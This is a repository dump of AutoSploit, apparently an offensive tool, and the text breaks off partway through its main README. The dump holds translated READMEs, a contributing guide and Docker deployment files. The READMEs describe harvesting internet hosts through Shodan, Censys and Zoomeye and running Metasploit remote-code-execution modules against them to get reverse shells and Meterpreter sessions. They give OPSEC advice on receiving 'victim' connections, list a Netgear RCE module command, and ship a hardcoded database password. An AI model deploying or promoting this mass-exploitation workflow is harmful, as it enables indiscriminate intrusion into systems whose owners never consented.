├── .github ├── .translations │ ├── README-de.md │ ├── README-fr.md │ └── README-zh.md └── ISSUE_TEMPLATE.md ├── .gitignore ├── CONTRIBUTING.md ├── Docker ├── Dockerfile ├── README.md ├── database.yml ├── docker-compose.yml └── entrypoint.sh ├── LICENSE ├── README.md ├── Vagrant ├── Vagrantfile └── bootstrap │ └── bootstrap.sh ├── api_calls ├── __init__.py ├── censys.py ├── honeyscore_hook.py ├── shodan.py └── zoomeye.py ├── autosploit.py ├── autosploit ├── __init__.py └── main.py ├── drysploit.sh ├── etc ├── json │ ├── default_fuzzers.json │ └── default_modules.json ├── scripts │ └── start_services.sh └── text_files │ ├── agents.txt │ ├── auth.key │ ├── checksum_link.txt │ ├── ethics.lst │ ├── gen │ ├── general │ ├── links.txt │ ├── nmap_opts.lst │ ├── passes.lst │ └── users.lst ├── install.sh ├── lib ├── __init__.py ├── banner.py ├── cmdline │ ├── __init__.py │ └── cmd.py ├── creation │ ├── __init__.py │ ├── ip_generator.py │ └── issue_creator.py ├── errors.py ├── exploitation │ ├── __init__.py │ └── exploiter.py ├── jsonize.py ├── output.py ├── scanner │ ├── __init__.py │ └── nmap.py ├── settings.py └── term │ ├── __init__.py │ └── terminal.py ├── quicksploit.sh ├── requirements.txt └── runsploit.sh /.github/.translations/README-de.md: -------------------------------------------------------------------------------- 1 | # AutoSploit 2 | 3 | Wie der Name vielleicht sagt, versucht Autosploit automatisiert Remote Hosts zu nutzen. Ziele können automatisch über Shodan, Censys oder Zoomeye gesammelt werden. Es wurden aber außerdem Optionen hinzugefügt, welche es erlauben, eigene Ziele oder Host-Listen hinzuzufügen. Die verfügbaren Metasploit-Module wurden ausgewählt, um die Ausführung von Remote-Code zu erleichtern und um zu versuchen, Reverse TCP Shells und/oder Meterpreter-Sessions zu erhalten. 4 | 5 | **Sicherheitserwägung für den Betrieb** 6 | 7 | Das Empfangen von Verbindungen über deine lokale Maschine ist vielleicht nicht die beste Idee für einen OPSEC-Standpunkt. Ziehe es stattdessen in Betracht, dieses Tool auf einem VPS auszuführen, welches alle benötigten Abhängigkeiten installiert hat. 8 | 9 | Die neue Version von AutoSploit verfügt über ein Feature, welches dir erlaubt, eine Proxy zu setzen, bevor du dich verbindest, und einen benutzerdefinierten User-Agent zu verwenden. 10 | 11 | # Hilfreiche Links 12 | 13 | - [Nutzung](https://github.com/NullArray/AutoSploit#usage) 14 | - [Installation](https://github.com/NullArray/AutoSploit#Installation) 15 | - [Abhängigkeiten](https://github.com/NullArray/AutoSploit#dependencies) 16 | - [Benutzerhandbuch](https://github.com/NullArray/AutoSploit/wiki) 17 | - [Nutzungsmöglichkeiten](https://github.com/NullArray/AutoSploit/wiki/Usage#usage-options) 18 | - [Screenshots](https://github.com/NullArray/AutoSploit/wiki/Examples-and-images) 19 | - [Bugs/Ideen melden](https://github.com/NullArray/AutoSploit/wiki/Bugs-and-ideas#bugs) 20 | - [Entwicklungsleitfäden](https://github.com/NullArray/AutoSploit/wiki/Development-information#development-of-autosploit) 21 | - [Shoutouts](https://github.com/NullArray/AutoSploit#acknowledgements) 22 | - [Entwicklung](https://github.com/NullArray/AutoSploit#active-development) 23 | - [Discord-Server](https://discord.gg/9BeeZQk) 24 | - [README-Übersetzungen](https://github.com/NullArray/AutoSploit#translations) 25 | 26 | # Installation 27 | 28 | AutoSploit zu installieren ist sehr einfach. Du kannst den neuesten, Release [hier](https://github.com/NullArray/AutoSploit/releases/tag/2.0) finden. Du kannst außerdem den Master-Branch als [zip](https://github.com/NullArray/AutSploit/zipball/master), als [tarball](https://github.com/NullArray/AutSploit/tarball/master) oder mit einer der folgenden Methoden herunterladen. 29 | 30 | ###### Cloning 31 | 32 | ```bash 33 | sudo -s << EOF 34 | git clone https://github.com/NullArray/Autosploit.git 35 | cd AutoSploit 36 | chmod +x install.sh 37 | ./install.sh 38 | python2 autosploit.py 39 | EOF 40 | ``` 41 | 42 | ###### Docker 43 | 44 | ```bash 45 | sudo -s << EOF 46 | git clone https://github.com/NullArray/AutoSploit.git 47 | cd AutoSploit 48 | chmod +x install.sh 49 | ./installsh 50 | cd AutoSploit/Docker 51 | docker network create -d bridge haknet 52 | docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres 53 | docker build -t autosploit . 54 | docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit 55 | EOF 56 | ``` 57 | 58 | Auf jedem Linux-System sollte folgendes funktionierern; 59 | 60 | ```bash 61 | git clone https://github.com/NullArray/AutoSploit 62 | cd AutoSploit 63 | chmod +x install.sh 64 | ./install.sh 65 | ``` 66 | 67 | Falls du AutoSploit auf einem System mit macOS ausführen willst, musst du das Programm trotz der Kompatibilität mit macOS in einer virtuellen Maschine ausführen, sodass es erfolgreich ausgeführt werden kann. Um dies zu tun, sind folgende Schritte nötig; 68 | 69 | ```bash 70 | sudo -s << '_EOF' 71 | pip2 install virtualenv --user 72 | git clone https://github.com/NullArray/AutoSploit.git 73 | virtualenv 74 | source /bin/activate 75 | cd 76 | pip2 install -r requirements.txt 77 | chmod +x install.sh 78 | ./install.sh 79 | python autosploit.py 80 | _EOF 81 | ``` 82 | 83 | 84 | Mehr Informationen über die Nutzung von Docker können [hier](https://github.com/NullArray/AutoSploit/tree/master/Docker) gefunden werden. 85 | 86 | ## Nutzung 87 | 88 | Das Programm mit `python autosploit.py` auszuführen, wird eine AutoSploit Terminal Session öffnen. Die Optionen für diese sind im Folgenden aufgelistet. 89 | ``` 90 | 1. Usage And Legal 91 | 2. Gather Hosts 92 | 3. Custom Hosts 93 | 4. Add Single Host 94 | 5. View Gathered Hosts 95 | 6. Exploit Gathered Hosts 96 | 99. Quit 97 | ``` 98 | 99 | Beim Auswählen der Option `2` wirst du aufgefordert, eine Plattform-spezifischen Suchanfrage einzugeben. Gib zum Beispiel `IIS` oder `Apache` ein und wähle eine Suchmaschine aus. Danach werden die gesammelten Hosts gespeichert, um sie in der `Exploit` Komponente nutzen zu können. 100 | 101 | Seit Version 2.0 von AutoSploit, kann dieses ebenfalls mit einer Anzahl von Command Line Argumenten/Flags gestartet werden. Gib `python autosploit.py -h` ein, um alle für dich verfügbaren Optionen anzuzeigen. Zur Referenz sind die Optionen nachfolgend ebenfalls aufgelistet *(auf Englisch)*. 102 | 103 | ``` 104 | usage: python autosploit.py -[c|z|s|a] -[q] QUERY 105 | [-C] WORKSPACE LHOST LPORT [-e] [--whitewash] PATH 106 | [--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH 107 | [--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT 108 | 109 | optional arguments: 110 | -h, --help show this help message and exit 111 | 112 | search engines: 113 | possible search engines to use 114 | 115 | -c, --censys use censys.io as the search engine to gather hosts 116 | -z, --zoomeye use zoomeye.org as the search engine to gather hosts 117 | -s, --shodan use shodan.io as the search engine to gather hosts 118 | -a, --all search all available search engines to gather hosts 119 | 120 | requests: 121 | arguments to edit your requests 122 | 123 | --proxy PROTO://IP:PORT 124 | run behind a proxy while performing the searches 125 | --random-agent use a random HTTP User-Agent header 126 | -P USER-AGENT, --personal-agent USER-AGENT 127 | pass a personal User-Agent to use for HTTP requests 128 | -q QUERY, --query QUERY 129 | pass your search query 130 | 131 | exploits: 132 | arguments to edit your exploits 133 | 134 | -E PATH, --exploit-file PATH 135 | provide a text file to convert into JSON and save for 136 | later use 137 | -C WORKSPACE LHOST LPORT, --config WORKSPACE LHOST LPORT 138 | set the configuration for MSF (IE -C default 127.0.0.1 139 | 8080) 140 | -e, --exploit start exploiting the already gathered hosts 141 | 142 | misc arguments: 143 | arguments that don't fit anywhere else 144 | 145 | --ruby-exec if you need to run the Ruby executable with MSF use 146 | this 147 | --msf-path MSF-PATH pass the path to your framework if it is not in your 148 | ENV PATH 149 | --whitelist PATH only exploit hosts listed in the whitelist file 150 | ``` 151 | 152 | Falls du AutoSploit auf einem System mit macOS ausführen willst, musst du das Programm trotz der Kompatibilität mit macOS in einer virtuellen Maschine ausführen, sodass es erfolgreich ausgeführt werden kann. Um dies zu tun, sind folgende Schritte nötig; 153 | 154 | ```bash 155 | sudo -s << '_EOF' 156 | pip2 install virtualenv --user 157 | git clone https://github.com/NullArray/AutoSploit.git 158 | virtualenv 159 | source /bin/activate 160 | cd 161 | pip2 install -r requirements.txt 162 | chmod +x install.sh 163 | ./install.sh 164 | python autosploit.py 165 | _EOF 166 | ``` 167 | 168 | ## Abhängigkeiten 169 | _Bitte beachte_: Alle Abhängigkeiten sollten über die obige Installationsmethode installiert werden. Für den Fall, dass die Installation nicht möglich ist: 170 | 171 | AutoSploit benötigt die folgenden Python 2.7 Module: 172 | 173 | ``` 174 | requests 175 | psutil 176 | beautifulsoup4 177 | ``` 178 | 179 | Wenn dir auffällt, dass du diese nicht installiert hast, kannst du sie über Pip installieren, wie nachfolgend gezeigt. 180 | 181 | ```bash 182 | pip install requests psutil beautifulsoup4 183 | ``` 184 | 185 | oder 186 | 187 | ```bash 188 | pip install -r requirements.txt 189 | ``` 190 | 191 | Da das Programm Funktionalität des Metasploit-Frameworkes nutzt, musst du dieses ebenfalls installiert haben. Hole es dir über Rapid7, indem du [hier](https://www.rapid7.com/products/metasploit/) klickst. 192 | 193 | ## Danksagung 194 | 195 | Ein besonderer Dank gilt [Ekultek](https://github.com/Ekultek) ohne dessen Beiträge die Version 2.0 dieses Projekts wohl weitaus weniger spektakulär wäre. 196 | 197 | Ebenfalls danke an [Khast3x](https://github.com/khast3x) für das Einrichten der Docker-Unterstützung. 198 | 199 | ### Aktive Entwicklung 200 | 201 | Falls du gerne zur Entwicklung dieses Projekts beitragen möchtest, bitte lies zuerst [CONTRIBUTING.md](https://github.com/NullArray/AutoSploit/blob/master/CONTRIBUTING.md), da diese unsere Leitfäden für Contributions enthält. 202 | 203 | Bitte lies außerdem [die Contribution-Standards](https://github.com/NullArray/AutoSploit/wiki/Development-information#contribution-standards), bevor du eine Pull Request erstellst. 204 | 205 | Falls du Hilfe damit brauchst, den Code zu verstehen, oder einfach mit anderen Mitgliedern der AutoSploit-Community chatten möchtest, kannst du gerne unserem [Discord-Server](https://discord.gg/9BeeZQk) joinen. 206 | 207 | ### Anmerkung 208 | 209 | Falls du einem Bug begegnest, bitte fühle dich frei, [ein Ticket zu öffnen](https://github.com/NullArray/AutoSploit/issues). 210 | 211 | Danke im Voraus. 212 | 213 | ## Übersetzungen 214 | 215 | - [FR](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-fr.md) 216 | - [ZH](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-zh.md) 217 | - [DE](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-de.md) 218 | -------------------------------------------------------------------------------- /.github/.translations/README-fr.md: -------------------------------------------------------------------------------- 1 | # AutoSploit 2 | 3 | Comme vous pouvez l'imaginer au vu du nom de ce projet, AutoSploit automatise l'exploitation d'hôtes distantes connectées à internet. Les adresses des hôtes à attaquer sont collectées automatiquement grâce à l'aide de Shodan, Censys et Zoomeye. Vous pouvez également utiliser vos propres listes de cibles. 4 | Les modules Metasploit disponibles ont été sélectionnés afin de faciliter l'obtention d'exécution de code à distance ( Remote Code Execution, ou RCE ), qui permettent ensuite de créer des sessions terminal inversées ( reverse shell ) ou meterpreter ( via metasploit ). 5 | 6 | **Ne soyez pas stupides** 7 | 8 | Recevoir les connexions de vos victimes directement sur votre ordinateur n'est pas vraiment une bonne idée. Vous devriez considérer l'option de dépenser quelques euros dans un VPS ( ou VPN ). 9 | 10 | La nouvelle version d'AutoSploit permet néanmoins de définir un proxy et un User-Agent personalisé. 11 | 12 | # Liens utiles 13 | 14 | - [Utilisation](https://github.com/NullArray/AutoSploit/README-fr.md#Utilisation) 15 | - [Installation](https://github.com/NullArray/AutoSploit/README-fr.md#Installation) 16 | - [Dépendances](https://github.com/NullArray/AutoSploit/README-fr.md#Dépendances)) 17 | - [Wiki](https://github.com/NullArray/AutoSploit/wiki) 18 | - [Options d'usage extensif](https://github.com/NullArray/AutoSploit/wiki/Usage#usage-options) 19 | - [Captures d'écran](https://github.com/NullArray/AutoSploit/wiki/Examples-and-images) 20 | - [Rapporter un bug, donner une idée](https://github.com/NullArray/AutoSploit/wiki/Bugs-and-ideas#bugs) 21 | - [Lignes directrices du développement](https://github.com/NullArray/AutoSploit/wiki/Development-information#development-of-autosploit) 22 | - [Développement](https://github.com/NullArray/AutoSploit/README-fr.md#Développement) 23 | - [Serveur discord ( en anglais, mais ne vous découragez pas ! )](https://discord.gg/9BeeZQk) 24 | 25 | 26 | # Installation 27 | 28 | Installer AutoSploit est un jeu d'enfant. Vous pouvez trouver la dernière version stable [ici](https://github.com/NullArray/AutoSploit/releases/tag/2.0). Vous pouvez aussi télécharger la branche ``master`` en [zip](https://github.com/NullArray/AutSploit/zipball/master) ou en [tarball](https://github.com/NullArray/AutSploit/tarball/master). Vous pouvez également suivre une des méthodes ci-dessous; 29 | 30 | ###### Cloner 31 | 32 | ```bash 33 | sudo -s << EOF 34 | git clone https://github.com/NullArray/Autosploit.git 35 | cd AutoSploit 36 | pip2 install -r requirements.txt 37 | python2 autosploit.py 38 | EOF 39 | ``` 40 | 41 | ###### Docker 42 | 43 | ```bash 44 | sudo -s << EOF 45 | git clone https://github.com/NullArray/AutoSploit.git 46 | cd AutoSploit/Docker 47 | docker network create -d bridge haknet 48 | docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres 49 | docker build -t autosploit . 50 | docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit 51 | EOF 52 | ``` 53 | 54 | Plus d'informations sur la façon d'utiliser Docker [ici](https://github.com/NullArray/AutoSploit/tree/master/Docker) 55 | 56 | ## Utilisation 57 | 58 | L'ouverture du programme avec `python autosploit.py` devrait ouvrir une session terminal AutoSploit. Les options sont les suivantes ( en anglais ). 59 | 60 | ``` 61 | 1. Usage And Legal 62 | 2. Gather Hosts 63 | 3. Custom Hosts 64 | 4. Add Single Host 65 | 5. View Gathered Hosts 66 | 6. Exploit Gathered Hosts 67 | 99. Quit 68 | ``` 69 | 70 | Sélectionner l'option `2` vous demandra de choisir quel type d'hôtes rechercher. Vous pouvez par exemple rentrer `IIS` ou `Apache`. Ensuite, on vous demandera quel moteurs de recherches doivent être utilisés lors de la recherche. Si tout fontionne correctement, les hôtes collectées seront sauvegardées et utilisables dans le menu d'exploitation ( `Exploit` ) 71 | 72 | Depuis la version 2.0, AutoSploit peut être lancé avec des arguments/drapeaux. Pour en savoir plus, exécutez `python autosploit.py -h`. 73 | Pour référence, voici les options ( en anglais ). 74 | 75 | ``` 76 | usage: python autosploit.py -[c|z|s|a] -[q] QUERY 77 | [-C] WORKSPACE LHOST LPORT [-e] 78 | [--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH 79 | [--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT 80 | 81 | optional arguments: 82 | -h, --help show this help message and exit 83 | 84 | search engines: 85 | possible search engines to use 86 | 87 | -c, --censys use censys.io as the search engine to gather hosts 88 | -z, --zoomeye use zoomeye.org as the search engine to gather hosts 89 | -s, --shodan use shodan.io as the search engine to gather hosts 90 | -a, --all search all available search engines to gather hosts 91 | 92 | requests: 93 | arguments to edit your requests 94 | 95 | --proxy PROTO://IP:PORT 96 | run behind a proxy while performing the searches 97 | --random-agent use a random HTTP User-Agent header 98 | -P USER-AGENT, --personal-agent USER-AGENT 99 | pass a personal User-Agent to use for HTTP requests 100 | -q QUERY, --query QUERY 101 | pass your search query 102 | 103 | exploits: 104 | arguments to edit your exploits 105 | 106 | -E PATH, --exploit-file PATH 107 | provide a text file to convert into JSON and save for 108 | later use 109 | -C WORKSPACE LHOST LPORT, --config WORKSPACE LHOST LPORT 110 | set the configuration for MSF (IE -C default 127.0.0.1 111 | 8080) 112 | -e, --exploit start exploiting the already gathered hosts 113 | 114 | misc arguments: 115 | arguments that don't fit anywhere else 116 | 117 | --ruby-exec if you need to run the Ruby executable with MSF use 118 | this 119 | --msf-path MSF-PATH pass the path to your framework if it is not in your 120 | ENV PATH 121 | ``` 122 | 123 | # Dépendances 124 | 125 | AutoSploit exige la présence des modules Python2.7 suivants. 126 | 127 | ``` 128 | requests 129 | psutil 130 | beautifulsoup4 131 | ``` 132 | 133 | Si vous ne les avez pas, vous pouvez les installer avec les commandes ci-dessous ( dans le dossier d'AutoSploit ): 134 | 135 | ```bash 136 | pip install requests psutil beautifulsoup4 137 | ``` 138 | 139 | ou 140 | 141 | ```bash 142 | pip install -r requirements.txt 143 | ``` 144 | 145 | Comme le programme invoque des fonctionalités du Metasploit, vous devez l'avoir installé au préalable. Vous pouvez en obtenir une copie depuis le site de Rapid7 en cliquant [ici](https://www.rapid7.com/products/metasploit/). 146 | 147 | ### Développement 148 | 149 | Même si AutoSploit n'est pas vraiment en Béta, il est sujet à des changements dans le futur. 150 | 151 | Si vous souhaitez rester à jour au niveau du développement et obtenir avant tout le monde toutes les super nouvelles fonctionalités, utilisez la [branche de développement](https://github.com/NullArray/AutoSploit/tree/dev-beta). 152 | 153 | Si vous voulez contribuer au développement de ce projet, lisez [CONTRIBUTING.md](https://github.com/NullArray/AutoSploit/blob/master/CONTRIBUTING.md). Ce fichier contient nos lignes directrices de contribution. 154 | 155 | Aussi, lisez nos [standards de contribution](https://github.com/NullArray/AutoSploit/wiki/Development-information#contribution-standards) avant d'envoyer une pull request. 156 | 157 | Si vous souhaitez obtenir de l'aide avec le code, ou juste partager avec les autres membres de la communauté d'AutoSploit, rejoignez-nous sur notre [serveur Discord](https://discord.gg/9BeeZQk). ( Nous ne mordons pas ) 158 | 159 | ## Note 160 | 161 | Si vous rencontrez un bug et que vous souhaitez le signaler, [ouvrez un ticket](https://github.com/NullArray/AutoSploit/issues). 162 | 163 | Merci d'avance. 164 | 165 | Traduction par [jesuiscamille](https://github.com/jesuiscamille). J'ai probablement fait des erreurs de conjugaison/orthographe/traduction. N'hésitez pas à juste [ouvrir un ticket](https://github.com/NullArray/AutoSploit/issues), c'est rapide et ça nous encourage :) ! 166 | -------------------------------------------------------------------------------- /.github/.translations/README-zh.md: -------------------------------------------------------------------------------- 1 | # AutoSploit 2 | AutoSploit尝试自动化利用远程主机,通过使用Shodan.io API自动收集目标。该程序允许用户输入他们的平台特定的搜索查询,如: Apache、IIS等等,候选者列表将被检索。 3 | 4 | 完成这个操作后,程序的“Exploit”组件就会通过运行一系列的Metasploit模块来尝试利用这些目标。通过以编程方式将模块的名称与初始搜索查询进行比较来确定将采用哪些Metasploit模块。然而,我已经增加了在“Hail Mary”类型的攻击中针对目标运行所有可用模块的功能。 5 | 6 | 已经选择了可用的Metasploit模块来促进远程代码执行并尝试获得反向TCP Shell和/或Meterpreter会话。通过“Exploit”组件启动之前出现的对话框配置工作区,本地主机和本地端口(用于MSF便利的后端连接)。 7 | 8 | #### 操作安全考虑 9 | 从OPSEC的角度来看,在本地机器上接收连接可能不是最好的想法。 请考虑从具有所需的所有依赖性的VPS运行此工具。 10 | 11 | # 用法 12 | 克隆 repo, 或者通过Docker进行部署。 详细信息可以在这里找到特别感谢Khast3x在这方面的贡献。 13 | 14 | >git clone https://github.com/NullArray/AutoSploit.git 15 | 16 | 您可以从终端用python autosploit.py启动。 启动后,您可以选择五个操作之一。 请参阅下面的选项摘要。 17 | 18 | ```bash 19 | +------------------+----------------------------------------------------+ 20 | | Option | Summary | 21 | +------------------+----------------------------------------------------+ 22 | |1. Usage | Display this informational message. | 23 | |2. Gather Hosts | Query Shodan for a list of platform specific IPs. | 24 | |3. View Hosts | Print gathered IPs/RHOSTS. | 25 | |4. Exploit | Configure MSF and Start exploiting gathered targets| 26 | |5. Quit | Exits AutoSploit. | 27 | +------------------+----------------------------------------------------+ 28 | ``` 29 | # 可选模块 30 | 31 | RCE选择了该工具提供的Metasploit模块。 您可以在本仓库的modules.txt文件中找到它们。 如果您希望添加更多或其他模块,请按以下格式进行。 32 | 33 | >use exploit/linux/http/netgear_wnr2000_rce;exploit -j; 34 | 35 | 每个新的模块都有自己的所属 36 | 37 | # 依赖 38 | 39 | AutoSploit依赖于以下Python2.7模块。 40 | 41 | ```bash 42 | shodan 43 | blessings 44 | ``` 45 | 46 | 如果你发现你没有安装这些软件,就像这样用pip来获取它们。 47 | 48 | ```bash 49 | pip install shodan 50 | pip install blessings 51 | ``` 52 | 由于程序调用了Metasploit框架的功能,所以你也需要安装它。 通过点击[这里](https://www.rapid7.com/products/metasploit/)从Rapid7获取它。 53 | 54 | # 注意 55 | 56 | 虽然这不完全是一个Beta版本,但它是一个早期版本,因为这样的工具可能会在未来发生变化。如果您碰巧遇到了错误,或者希望为工具的改进做出贡献,请随时[打开工单](https://github.com/NullArray/AutoSploit/issues)或[提交合并请求](https://github.com/NullArray/AutoSploit/pulls) 57 | 58 | 感谢! 59 | 60 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | 5 | 6 | # Running information 7 | 8 | 9 | - What branch did you download? 10 | - Clone, or docker run? 11 | - What OS are you running? 12 | 13 | # Exploit module information 14 | 15 | 16 | - What exploit was deployed? 17 | - Was a session generated for the target? 18 | - What version of metasploit are you running? 19 | 20 | # Program information 21 | 22 | 23 | - Python version number? 24 | - AutoSploit version number? 25 | - Any console output that is relevant to the issue: 26 | - Traceback (error) if any: 27 | 28 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | .idea/* 3 | api.p 4 | hosts.txt 5 | secret.p 6 | uid.p 7 | etc/tokens/* 8 | autosploit_out/* 9 | venv/* 10 | etc/json/* 11 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing 2 | 3 | All contributions to AutoSploit are not only welcomed, but highly appreciated, please keep in mind the following while making a pull request: 4 | 5 | - Each request should make at least one logical change 6 | - All contributions should be forked from the `dev-beta` branch 7 | - Each request will need to be reviewed before merged, if anything seems weird we will either fix it or ask you to fix it for us 8 | - If you have multiple pushes in one request, please squash them together (or we will before we merge) 9 | - All pull requests that are merged are provided under the same license as the program is, keep the following in mind; 10 | 11 | > By submitting code contributions to AutoSploit via Git pull request or other, checking them into the AutoSploit's source code repository, it is understood (unless you specify otherwise) that you are offering the AutoSploit copyright holders the unlimited, non-exclusive right to reuse, modify, and re-license the code. This is important because the inability to re-license code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. 12 | 13 | ## Getting started 14 | 15 | To get started making a contribution please do the following: 16 | 17 | - Read our [contribution standards](https://github.com/NullArray/AutoSploit/wiki/Development-information#contribution-standards) 18 | - Fork the repository using the fork button 19 | - `git clone https://github.com//AutoSploit.git -b dev-beta` 20 | - Edit the code to your liking 21 | - After editing `git branch && git checkout ` 22 | - Add your commits and comment them 23 | - `git push --set-upstream origin ` 24 | - Open a [pull request](https://github.com/NullArray/AutoSploit/pulls) 25 | - Wait for us to check it out 26 | 27 | Thank you. 28 | -------------------------------------------------------------------------------- /Docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM phocean/msf 2 | 3 | COPY "entrypoint.sh" . 4 | 5 | RUN apt-get update && \ 6 | apt-get install -y \ 7 | git \ 8 | python-dev \ 9 | python-pip \ 10 | apache2 11 | 12 | RUN chmod +x entrypoint.sh && \ 13 | git clone https://github.com/NullArray/AutoSploit.git && \ 14 | pip install -r AutoSploit/requirements.txt 15 | 16 | EXPOSE 4444 17 | CMD [ "./entrypoint.sh" ] 18 | -------------------------------------------------------------------------------- /Docker/README.md: -------------------------------------------------------------------------------- 1 | # Docker deployment instructions 2 | 3 | ## tl;dr 4 | 5 | Using [docker-compose](https://docs.docker.com/compose/install/): 6 | 7 | ```bash 8 | git clone https://github.com/NullArray/AutoSploit.git 9 | cd Autosploit/Docker 10 | docker-compose run --rm autosploit 11 | ``` 12 | 13 | Using just Docker: 14 | 15 | ```bash 16 | git clone https://github.com/NullArray/AutoSploit.git 17 | cd Autosploit/Docker 18 | # If you wish to edit default postgres service details, edit database.yml. Should work out of the box 19 | # nano database.yml 20 | docker network create -d bridge haknet 21 | docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres 22 | docker build -t autosploit . 23 | docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit 24 | ``` 25 | 26 | ## Abstract 27 | 28 | - Launching `Autosploit` as a Docker container makes it very easy to use the tool in a hosted cloud environment (AWS, Azure, ...) 29 | - Separate `postgres` database into individual service for data persistence and potential async updating of the database 30 | - Create a small bridge network `haknet` so the service discovery is automatic 31 | - Launch `postgres` and `Autosploit` container, both linked by `haknet` 32 | - Autosploit will automatically launch preconfigured `msfconsole` to the external `postgres` container through `haknet` transparent network 33 | - Total image size of Kali + Metasploit + Autosploit : 1.75GB 34 | 35 | ## Deploy 36 | 37 | ### Step 1 - Create bridge network 38 | 39 | This will enable the Metasploit Framework to talk to the `postgres` database using its hostname, making it abstract. 40 | 41 | A Tor Socks Proxy can also be added to perform transparent proxy when launching exploits (not for reverse shells though, obviously). 42 | 43 | ```bash 44 | docker network create -d bridge haknet 45 | ``` 46 | 47 | ### Step 2 - Launch services 48 | 49 | All automagically linked 50 | 51 | #### Step 2.1 - Launch postgres 52 | 53 | Launch a vanilla `postgres` service, linked to `haknet` 54 | 55 | ```bash 56 | docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres 57 | ``` 58 | 59 | #### Step 2.2 - Launch Autosploit 60 | 61 | Launch `Autosploit`. 62 | 63 | This Dockerfile will copy the default database config to `~/.msf4/database.yml`. You can edit the configuration file `database.yml` to your liking before building. 64 | 65 | Please be aware that the first build will take some time (~10mn) 66 | 67 | Building will be faster if done on a hosted server as it benefits from the -grade bandwidth 68 | 69 | ```bash 70 | git clone https://github.com/NullArray/AutoSploit.git 71 | cd Autosploit/Docker 72 | nano database.yml # Exemple configuration should work fine 73 | docker build -t autosploit . 74 | docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit 75 | ``` 76 | -------------------------------------------------------------------------------- /Docker/database.yml: -------------------------------------------------------------------------------- 1 | development: &pgsql 2 | adapter: postgresql 3 | database: postgres 4 | username: postgres 5 | password: s3cr3t 6 | host: msfdb 7 | port: 5432 8 | pool: 200 9 | timeout: 5 10 | 11 | production: &production 12 | <<: *pgsql 13 | -------------------------------------------------------------------------------- /Docker/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | autosploit: 5 | build: 6 | context: . 7 | ports: 8 | - 80:80 9 | - 443:433 10 | - 4444:4444 11 | networks: 12 | - haknet 13 | depends_on: 14 | - postgres 15 | postgres: 16 | image: postgres 17 | environment: 18 | - POSTGRES_PASSWORD=s3cr3t 19 | networks: 20 | - haknet 21 | volumes: 22 | - db:/var/lib/postgresql/data 23 | 24 | networks: 25 | haknet: 26 | driver: bridge 27 | 28 | volumes: 29 | db: 30 | -------------------------------------------------------------------------------- /Docker/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | /etc/init.d/postgresql start 4 | /etc/init.d/apache2 start 5 | cd AutoSploit/ 6 | 7 | python autosploit.py -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 |
3 | As the name might suggest AutoSploit attempts to automate the exploitation of remote hosts. Targets can be collected automatically through Shodan, Censys or Zoomeye. But options to add your custom targets and host lists have been included as well. The available Metasploit modules have been selected to facilitate Remote Code Execution and to attempt to gain Reverse TCP Shells and/or Meterpreter sessions. Workspace, local host and local port for MSF facilitated back connections are configured by filling out the dialog that comes up before the exploit component is started 4 | 5 | 6 | _**Operational Security Consideration:**_ 7 | 8 | 9 | Receiving back connections on your local machine might not be the best idea from an OPSEC standpoint. Instead consider running this tool from a VPS that has all the dependencies required, available. 10 | 11 | The new version of AutoSploit has a feature that allows you to set a proxy before you connect and a custom user-agent. 12 | 13 | # Helpful links 14 | 15 | - [Usage](https://github.com/NullArray/AutoSploit#usage) 16 | - [Installing](https://github.com/NullArray/AutoSploit#Installation) 17 | - [Dependencies](https://github.com/NullArray/AutoSploit#dependencies) 18 | - [User Manual](https://github.com/NullArray/AutoSploit/wiki) 19 | - [Extensive usage breakdown](https://github.com/NullArray/AutoSploit/wiki/Usage#usage-options) 20 | - [Screenshots](https://github.com/NullArray/AutoSploit/wiki/Examples-and-images) 21 | - [Reporting bugs/ideas](https://github.com/NullArray/AutoSploit/wiki/Bugs-and-ideas#bugs) 22 | - [Development guidelines](https://github.com/NullArray/AutoSploit/wiki/Development-information#development-of-autosploit) 23 | - [Shoutouts](https://github.com/NullArray/AutoSploit#acknowledgements) 24 | - [Development](https://github.com/NullArray/AutoSploit#active-development) 25 | - [Discord server](https://discord.gg/9BeeZQk) 26 | - [README translations](https://github.com/NullArray/AutoSploit#translations) 27 | 28 | # Installation 29 | 30 | Installing AutoSploit is very simple, you can find the latest stable release [here](https://github.com/NullArray/AutoSploit/releases/latest). You can also download the master branch as a [zip](https://github.com/NullArray/AutSploit/zipball/master) or [tarball](https://github.com/NullArray/AutSploit/tarball/master) or follow one of the below methods; 31 | 32 | 33 | ##### Docker Compose 34 | Using Docker Compose is by far the easiest way to get AutoSploit up and running without too much of a hassle. 35 | ``` 36 | git clone https://github.com/NullArray/AutoSploit.git 37 | cd Autosploit/Docker 38 | docker-compose run --rm autosploit 39 | ``` 40 | 41 | ##### Docker 42 | Just using Docker. 43 | ``` 44 | git clone https://github.com/NullArray/AutoSploit.git 45 | cd Autosploit/Docker 46 | # If you wish to edit default postgres service details, edit database.yml. Should work out of the box 47 | # nano database.yml 48 | docker network create -d bridge haknet 